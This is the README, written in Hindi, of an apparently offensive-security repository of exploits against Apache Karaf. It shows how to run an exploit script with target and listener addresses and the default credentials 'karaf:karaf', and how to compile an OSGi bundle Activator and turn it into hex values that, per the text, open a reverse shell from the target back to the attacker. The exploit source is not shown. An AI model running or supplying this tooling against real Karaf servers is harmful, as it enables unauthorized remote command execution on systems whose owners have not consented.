offsec-karaf-exploits

उपयोग:

python exploit.py --help

उदाहरण:

python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf

पेलोड पुनर्निर्माण

Felix Framework सेटअप करें

1. lib निर्देशिका बनाएं

mkdir -p ./revshell/lib

2. Felix Framework 7.0.5 डाउनलोड करें
3. ज़िप संग्रह निकालें
4. org.apache.felix.main.distribution-7.0.5/bin/felix.jar को ./revshell/lib/felix.jar में कॉपी करें

Activator क्लास जनरेट करें

cd revshell/bundle
javac -d ../classes -cp ../lib/felix.jar com/visionspace/osgi/revshell/Activator.java

हेक्स मान प्राप्त करें

हेक्स मान exploit में रिवर्स शेल बनाते हैं

./class_to_payload.py revshell/classes/com/visionspace/osgi/revshell/Activator.class

संसाधन

Felix Framework